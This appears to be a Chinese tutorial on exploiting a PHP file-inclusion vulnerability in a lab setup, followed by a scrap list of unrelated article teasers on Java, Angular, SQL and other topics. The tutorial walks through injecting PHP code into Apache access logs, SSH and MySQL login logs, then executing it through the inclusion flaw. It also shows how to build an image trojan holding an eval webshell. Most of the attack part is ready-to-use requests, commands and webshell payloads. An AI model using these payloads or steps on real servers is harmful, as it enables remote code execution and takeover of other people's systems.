文件包含漏洞(3),日志利用, 图片木马利用
日志利用, 图片木马利用
一, 利用服务器日志
通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.
apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log
首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.
实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log
由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.
http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>
查看access_log日志:
[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"
这里可以看到符号被浏览器转码了, 因此无法执行代码.
那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.
方式1: 不使用双引号, 需要去掉php和空格.
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1
查看access_log日志:
[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033
这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1
查看access_log日志:
[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961
利用漏洞:
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_logpost data:
cmd=phpinfo();
二, 利用ssh或mysql的登录日志
1. linux默认的登录日志:
/var/log/secure
日志文件对其他用户有可读权限
正常登录:
ssh root@192.168.112.200
因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:
ssh "<?phpinfo();?>"@192.168.112.200
查看日志:
Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]
这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:
http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志
原理与ssh日志利用一样.
mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:
general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file
日志文件对其他用户有可读权限
假设日志的路径:
/opt/lampp/logs/mysql.log
正常登录:
mysql -u root -p -h 192.168.112.200
将用户名替换成恶意代码:
mysql -u "<?phpinfo();?>" -p -h 192.168.112.200
利用文件包含漏洞执行代码:
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log
3. 图片木马
准备图片和php文件, 使用cmd中的copy命令合并.
例如:
mm.php文件:
<?php @eval($_GET['cmd']); ?>
命令:
copy src.jpg/b + mm.php/a p_mm.jpg
以上命令将src.jpg与mm.php合并, 生成图片p_mm.jpg
将木马图片上传到服务器, 利用文件包含漏洞执行代码:
http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
相关文章:
文件包含漏洞(3),日志利用, 图片木马利用
日志利用, 图片木马利用 一, 利用服务器日志 通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段. apache log: /opt/lampp/logs/access_log nginx log: /usr/local/nginx/logs/access.log 首先可以利用文件包含漏洞测试日志文件的内容是否可以显…...
java面试--线程总结
Java中有几种方式来创建线程执行任务,分别是什么? 1、继承Thread类 public class MyThread extends Thread{public static void main(String[] args) {MyThread myThread new MyThread();myThread.start();}Overridepublic void run() {System.out.pr…...
Angular-02:环境等说明
项目名不要带数字npm版本过低安装工具时加上版本号现项目完整的工具链:angular ngZorro rxjs ngrx sassvscode好用插件分享: 名称说明Auto Close Tag自动闭合html标签Auto Import自动引包(可自动生成文件路径提示方便文件导入࿰…...
pgsql 分组查询,每组取10条
需求: 按照表的字段分组,然后每组取10条结果,返回即可 sql 如下: SELECT* FROM (SELECT chk_id,feature_id,task_id, ROW_NUMBER () OVER (PARTITION BY chk_id ORDER BY chk_id) AS row_num FROM ics_check_report WHERE task…...
python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色,
python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色, 代码 import osimport numpy import pandas as pd import openpyxl from openpyxl.styles import Font from op…...
chatgpt论文润色 降重
用chatgpt最好要给他范例。chatgpt降重原理: https://www.bilibili.com/video/BV1Eh411M7Ug/?spm_id_from333.337.search-card.all.click&vd_sourceebc47f36e62b223817b8e0edff181613 一. 中文论文翻译成英文 1.1 直接翻译 你是一位广义零样本学习的专家&a…...
第四章 文件管理 七、文件共享
目录 一、基于索引结点的共享方式(硬链接) 1、知识回顾: 2、例子: 二、基于符号链的共享方式(软链接) 1、例子 三、总结 一、基于索引结点的共享方式(硬链接) 1、知识回顾: 索引结点,是一…...
带过期时间的localstorage封装
localstorage原本是不带过期时间的,xijs提供了一个带过期时间封装的store工具,但是用起来因为文档基本等于没有,所以干脆直接封装一个用,其中ttl是过期时间,以毫秒计算。 // 设置function setLocalStorageWithExpiry(…...
mac系统u盘启动盘制作教程,更新至macOS Sonoma 14
mac系统怎么制作装系统的u盘,如果您要在多台电脑上安装 macOS,而又不想每次都下载安装器,这时可引导安装器就会很有用。一起来看苹果电脑u盘启动盘制作教程吧。 Macos系统安装包合集包揽macos 10.15,macos 11和苹果最新系统等多个版本 1、A…...
基于单片机的智能电子鼻的设计
欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 技术交流认准下方 CSDN 官方提供的联系方式 文章目录 概要 一、智能电子鼻系统的设计方案1.1智能电子鼻系统的设计思路1.2智能电子鼻系统的设计流程图1.3智能电子鼻系统的硬件数…...
代码随想录图论 第三天 | 130. 被围绕的区域 417. 太平洋大西洋水流问题
代码随想录图论 第三天 | 130. 被围绕的区域 417. 太平洋大西洋水流问题 一、130. 被围绕的区域 题目链接:https://leetcode.cn/problems/surrounded-regions/ 思路:题目要求沾边的不动,只改没沾边的,那么可以先dfs遍历4条边&am…...
二、【常用的几种抠图方式一】
文章目录 选框抠图快速选择工具抠图魔棒工具抠图对象选择工具抠图套索工具抠图多边形套索工具抠图磁性套索工具抠图 选框抠图 选框工具抠图适合规则的图形,如下图先使用选框工具框出对象的图轮廓,然后再选择并遮住在里边擦出图形的边缘,根据…...
常见面试题-MySQL专栏(一)
为什么 mysql 删了行记录,反而磁盘空间没有减少? 答: 在 mysql 中,当使用 delete 删除数据时,mysql 会将删除的数据标记为已删除,但是并不去磁盘上真正进行删除,而是在需要使用这片存储空间时&…...
使用Docker部署Apache Superset并实现公网远程访问
大数据可视化BI分析工具Apache Superset实现公网远程访问 文章目录 大数据可视化BI分析工具Apache Superset实现公网远程访问前言1. 使用Docker部署Apache Superset1.1 第一步安装docker 、docker compose1.2 克隆superset代码到本地并使用docker compose启动 2. 安装cpolar内网…...
buuctf_练[CISCN2019 华东南赛区]Web4
[CISCN2019 华东南赛区]Web4 文章目录 [CISCN2019 华东南赛区]Web4掌握知识解题思路代码分析正式解题 关键paylaod 掌握知识 根据url地址传参结构来判断php后端还是python后端;uuid.getnode()函数的了解,可以返回主机MAC地址十六进制;pyt…...
国际腾讯云直播推流配置教程!
云直播的服务本质是一个广播的过程,类似于电视台的直播节目通过有线电视网发送给千家万户。为了完成这个过程,云直播需要有采集和推流设备(类似摄像头)、云直播服务(类似电视台的有线电视网)和播放设备&…...
RocketMQ与Kafka差异对比:从架构到性能细节,解析两者在可靠性、扩展性和可用性等方面的优劣
淘宝内部的交易系统使用了淘宝自主研发的Notify消息中间件,使用Mysql作为消息存储媒介,可完全水平扩容,为了进一步降低成本,我们认为存储部分可以进一步优化,2011年初,Linkin开源了Kafka这个优秀的消息中间…...
【数智化人物展】同方有云联合创始人兼总经理江琦:云计算,引领数智化升级的动能...
江琦 本文由同方有云联合创始人兼总经理江琦投递并参与《2023中国企业数智化转型升级先锋人物》榜单/奖项评选。 数据智能产业创新服务媒体 ——聚焦数智 改变商业 在这个飞速发展的数字时代,我们置身于一个前所未有的机遇与挑战并存的时刻。数字化转型不再仅仅是一…...
SpringMVC Day 03 : 处理静态资源
前言 欢迎来到第三天的 SpringMVC 学习系列!在前两天的教程中,我们已经学习了如何搭建 SpringMVC 环境、创建控制器和处理请求等基础知识。今天,我们将继续探索 SpringMVC 的功能,并学习如何处理静态资源。 在现代 Web 应用程序…...
activiti 用户任务中的执行监听器
前言 略 用户任务中的执行监听器配置界面 监听器事件 用户任务中的执行监听器可以监听到的事件有: start:开始时触发。end:结束时触发。take:执行时触发。 监听器执行方式 监听器的执行方式: 类(classÿ…...
铭豹扩展坞 USB转网口 突然无法识别解决方法
当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…...
测试微信模版消息推送
进入“开发接口管理”--“公众平台测试账号”,无需申请公众账号、可在测试账号中体验并测试微信公众平台所有高级接口。 获取access_token: 自定义模版消息: 关注测试号:扫二维码关注测试号。 发送模版消息: import requests da…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)
更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...
STM32HAL库USART源代码解析及应用
STM32HAL库USART源代码解析 前言STM32CubeIDE配置串口USART和UART的选择使用模式参数设置GPIO配置DMA配置中断配置硬件流控制使能生成代码解析和使用方法串口初始化__UART_HandleTypeDef结构体浅析HAL库代码实际使用方法使用轮询方式发送使用轮询方式接收使用中断方式发送使用中…...
Web中间件--tomcat学习
Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机,它可以执行Java字节码。Java虚拟机是Java平台的一部分,Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...
springboot 日志类切面,接口成功记录日志,失败不记录
springboot 日志类切面,接口成功记录日志,失败不记录 自定义一个注解方法 import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target;/***…...
算法打卡第18天
从中序与后序遍历序列构造二叉树 (力扣106题) 给定两个整数数组 inorder 和 postorder ,其中 inorder 是二叉树的中序遍历, postorder 是同一棵树的后序遍历,请你构造并返回这颗 二叉树 。 示例 1: 输入:inorder [9,3,15,20,7…...
Xcode 16 集成 cocoapods 报错
基于 Xcode 16 新建工程项目,集成 cocoapods 执行 pod init 报错 ### Error RuntimeError - PBXGroup attempted to initialize an object with unknown ISA PBXFileSystemSynchronizedRootGroup from attributes: {"isa">"PBXFileSystemSynchro…...
CppCon 2015 学习:Reactive Stream Processing in Industrial IoT using DDS and Rx
“Reactive Stream Processing in Industrial IoT using DDS and Rx” 是指在工业物联网(IIoT)场景中,结合 DDS(Data Distribution Service) 和 Rx(Reactive Extensions) 技术,实现 …...
